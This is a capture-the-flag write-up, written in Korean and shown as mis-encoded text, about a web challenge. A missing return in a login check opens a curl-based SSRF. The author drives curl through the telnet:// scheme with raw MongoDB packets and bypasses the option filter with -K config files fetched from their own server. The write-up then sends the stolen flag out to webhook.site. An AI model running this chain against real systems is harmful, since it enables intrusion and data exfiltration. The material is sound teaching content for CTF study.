์ด ๋ฌธ์ œ๋Š” ์ฒ˜์Œ์— ์•„๋ฌด๋ฆฌ ๋ด๋„ ๋ญ๋ฅผ ํ•˜๋ผ๊ณ  ํ•˜๋Š”์ง€ ๊ฐ์„ ๋ชป์žก์•˜๋˜ ๋ฌธ์ œ์ด๋‹ค. ๋ฌธ์ œ๋ฅผ ๋งŒ๋“ ์‚ฌ๋žŒ์˜ WriteUp์„ ๋ณด๊ณ ๋‚˜์„œ์•ผ ์ดํ•ดํ–ˆ๋Š”๋ฐ ๊ฝค ๋‚œ์ด๋„๊ฐ€ ์žˆ๋˜ ๋ฌธ์ œ์˜€๋‹ค.

์šฐ์„  ํ•ด๋‹น ๋ฌธ์ œ์—์„œ ์ œ์‹œ๋œ route๋Š” /, /api/login, /api/ping 3๊ฐœ์ด๋‹ค. ์ด ์ค‘์—์„œ /api/ping์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ ํ•จ์ˆ˜์˜ ํ†ต๊ณผ๊ฐ€ ํ•„์š”ํ•˜๋‹ค.

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

์—ฌ๊ธฐ์—์„œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š”๋ฐ, ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์ •๋ณด๊ฐ€ ์—†์œผ๋ฉด res.redirect() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์ง€๋งŒ, return์„ ํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ฆ‰, ํ•ด๋‹น ์ฝ”๋“œ๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ๋Š” โ€œerror=You need to be logged inโ€ ์ด๋ผ๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ์ „์†ก๋˜์ง€๋งŒ ์‹ค์ œ๋กœ๋Š” ๊ทธ ๋’ค์— Ping ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰์ด ๋œ๋‹ค.

์ฆ‰, ์ด ๋ฌธ์ œ๋Š” /api/ping ํ•จ์ˆ˜ ๋‚ด๋ถ€์˜ curl ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด์„œ SSRF ํ˜•ํƒœ์˜ ๊ณต๊ฒฉ์„ ์ด์šฉํ•˜์—ฌ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ mongodb์˜ flag๋ฅผ ๊ฐ€์ ธ์˜ค๋ฉด ๋œ๋‹ค.

์šฐ์„  /api/ping์„ ๋ณด์ž

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }


    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('cURL', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

์‚ฌ์šฉ์ž์˜ request ์—์„œ ์ด 3๊ฐœ์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š”๋‹ค. ๋˜ํ•œ ๊ฐ๊ฐ์˜ ์กฐ๊ฑด์„ ์ •๋ฆฌํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  1. url : http:, https: ๋กœ protocol scheme์ด ์‹œ์ž‘๋˜์–ด์•ผ ํ•œ๋‹ค.
  2. opt : -[a~Z] ํ•œ๊ธ€์ž์˜ ์˜ต์…˜๋งŒ ๊ฐ€๋Šฅํ•˜๋‹ค.
  3. opt & data : 1)opt ๊ฐ€ -d ์ด๊ฑฐ๋‚˜ data ๊ฐ€ GET or POST ์ด์–ด์•ผ ํ•œ๋‹ค.

์ด๋Ÿฌํ•œ ์กฐ๊ฑด๋“ค์„ ๋งŒ์กฑ์‹œํ‚ค๋ฉด, curl๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉฐ ๊ทธ ํ˜•ํƒœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

curl <url> <opt> <data>

์ด๋Ÿฌํ•œ ์ œ์•ฝ์กฐ๊ฑด ์ƒ์—์„œ ์šฐ์„  ์–ด๋–ป๊ฒŒ curl ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด์„œ ๋‚ด๋ถ€ mongodb์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋นผ์˜ฌ ์ˆ˜ ์žˆ์„๊นŒ? ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” gopher scheme์ด๋‚˜ telnet scheme์„ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค. ํ•˜์ง€๋งŒ, dockerfile์— ๋ณด๋ฉด gopher๋ฅผ disable ์‹œ์ผœ๋†จ๊ธฐ ๋•Œ๋ฌธ์— ๋ณธ ๋ฌธ์ œ์—์„œ๋Š” telnet์„ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜์˜€๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์€ scheme์„ ์ด์šฉํ•œ๋‹ค๋ฉด raw data๋ฅผ ์ด์šฉํ•˜์—ฌ mongodb์™€ ํ†ต์‹ ์ด ๊ฐ€๋Šฅํ•˜๋‹ค

# payload.raw์—๋Š” mongodb ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” raw ๋ฐ์ดํ„ฐ๊ฐ€ ํ•„์š”ํ•จ
curl telnet://mongodb:27017 -T payload.raw

์šฐ์„  payload.raw ๋ฐ์ดํ„ฐ๋Š” wireshark๋ฅผ ์ด์šฉํ•œ ํŒจํ‚ท ์บก์ณ๋ฅผ ํ†ตํ•ด์„œ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

docker๋กœ ์„œ๋ฒ„์™€ ๋™์ผํ•˜๊ฒŒ mongodb ํ™˜๊ฒฝ์„ ๋งŒ๋“ค์–ด ๋†“์€ ๋‹ค์Œ ํ•ด๋‹น mongodb์—์„œ ์ฟผ๋ฆฌ๋ฌธ์„ ํ†ตํ•ด์„œ flag๋ฅผ ํš๋“ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ด ๋ณด์ž

# 1. ๋„์ปคํ™˜๊ฒฝ ์‹คํ–‰
docker run -i -p 27017:27017 -t mongo:latest

# 2. ํ•ด๋‹น mongodb์— ์‹ค์ œ ๋ฌธ์ œ์™€ ๋™์ผํ•˜๊ฒŒ collection, data ์ƒ์„ฑ
mongo localhost
> use secret
> db.createCollection("flag")
> db.flag.insert({"flag":"dice{test_flag}"})

# 3. mongo clinet๋ฅผ ์ด์šฉํ•ด์„œ ํ•ด๋‹น ํ”Œ๋ž˜๊ทธ๋ฅผ ์š”์ฒญํ•˜๋Š” ์ฟผ๋ฆฌ๋ฌธ ์ž‘์„ฑ
mongo --eval "db.getSiblingDB('secret').flag.find({})"

์ด๋•Œ ๋งˆ์ง€๋ง‰ ์ฟผ๋ฆฌ๋ฌธ์„ ์‹คํ–‰ํ•˜๋Š” ์ˆœ๊ฐ„์˜ ํŒจํ‚ท์„ wireshark๋กœ ์บก์ณํ•œ๋‹ค.

image

ํ•ด๋‹น raw ๋ฐ์ดํ„ฐ๋ฅผ payload.raw๋กœ ์ €์žฅํ•œ๋‹ค.

curl ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•ด์„œ payload.raw ๋ฐ์ดํ„ฐ๋ฅผ ์ด์šฉํ•œ ์ฟผ๋ฆฌ๋ฌธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

# --max-time์„ ์•ˆํ•ด์ฃผ๋ฉด ๋Œ€์ƒ ์„œ๋ฒ„์—์„œ ๊ณ„์† ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์ธ์‹ํ•˜์—ฌ ๋ฐ์ดํ„ฐ ์ถœ๋ ฅ์ด ๋˜์ง€ ์•Š๋Š”๋‹ค. ๊ฐ•์ œ๋กœ timeout์‹œ์ผœ์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅ์‹œํ‚จ๋‹ค.
curl telnet://localhost:27017 -T payload.raw --max-time 1

image


๋ฌธ์ œ์—์„œ opt, data๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๋ฐ ์ œ์•ฝ์กฐ๊ฑด์ด ์กด์žฌํ•œ๋‹ค. ์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ -K ์˜ต์…˜์„ ํ™œ์šฉํ•˜๋ฉด ๋œ๋‹ค.

-K ์˜ต์…˜์„ curl ๋ช…๋ น์–ด์˜ ์˜ต์…˜๋“ค์„ ํŒŒ์ผ์—์„œ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๋ช…๋ น์–ด๋กœ, ์ด๋ฅผ ์ด์šฉํ•˜๋ฉด ๋กœ์ปฌ์— ์ €์žฅ๋œ ํŒŒ์ผ์„ ํ†ตํ•ด์„œ ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•˜์—ฌ ๋ชจ๋“  curl ์˜ต์…˜๋“ค์˜ ํ™œ์šฉ์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

์ด ๊ณต๊ฒฉ process๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค

# 1. ๋Œ€์ƒ ์„œ๋ฒ„์— payload.raw ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•œ๋‹ค. (GET ํŒŒ์ผ)
# ์ฝ”๋“œ๋ฅผ ์—…๋กœ๋“œํ•œ ๋‚˜์˜ ์›น์„œ๋ฒ„ 101.101.218.209:20001
url : http://101.101.218.209:20001/payload.raw
opt : -o
data : GET 
# 2. Raw ํŒŒ์ผ์„ ์ด์šฉํ•˜์—ฌ mongo์„œ๋ฒ„๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜๋Š” curl ๋ช…๋ น์–ด์— ํ•„์š”ํ•œ ์˜ต์…˜์ด ๋‹ด๊ธด ํŒŒ์ผ์„ ์—…๋กœ๋“œ ํ•œ๋‹ค(POST ํŒŒ์ผ)
url : http://101.101.218.209:20001
opt : -o
data : POST

# ํ•ด๋‹น ์›นํŽ˜์ด์ง€๊ฐ€ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋‚ด์šฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.
"""
-o /dev/null
-T /dev/null
--max-time 1
--url telnet://mongodb:27017
-o GET
-T GET
"""

# ํ•ด๋‹น config ํŒŒ์ผ์„ ์ด์šฉํ•œ curl ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๊ธฐ์กด GETํŒŒ์ผ์—๋Š” payload.raw ๋ฐ์ดํ„ฐ๊ฐ€ ๋“ค์–ด๊ฐ€ ์žˆ์—ˆ๊ณ , ์‹คํ–‰ ๊ฒฐ๊ณผ์—๋Š” payload.raw๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๊ทธ ๊ฒฐ๊ณผ๊ฐ™์œผ๋กœ flag ๊ฐ€ ๋‹ด๊ธด ์ •๋ณด๊ฐ€ ์ €์žฅ๋  ๊ฒƒ์ด๋‹ค.
# 3. 2๋ฒˆ์—์„œ ๋ฐ›์€ ํŽ˜์ด๋กœ๋“œ ํŒŒ์ผ์„ ์ด์šฉํ•œ curl ๋ช…๋ น์–ด ์‹คํ–‰
url : http://www.example.com
opt : -k
data : POST
# 4. 3๋ฒˆ ์‹คํ–‰ ๊ฒฐ๊ณผ๋กœ flag์ •๋ณด๊ฐ€ GETํŒŒ์ผ์— ์กด์žฌํ•œ๋‹ค. GET ํŒŒ์ผ ๋‚ด์šฉ์„ ์ฝ์–ด ์˜จ๋‹ค.
url : www.webhook.site
opt : -T
data : GET

์œ„์˜ ์ˆœ์„œ๋Œ€๋กœ ๊ณต๊ฒฉ ์ˆ˜ํ–‰์‹œ webhook.site์—์„œ ํ”Œ๋ž˜๊ทธ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

image

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ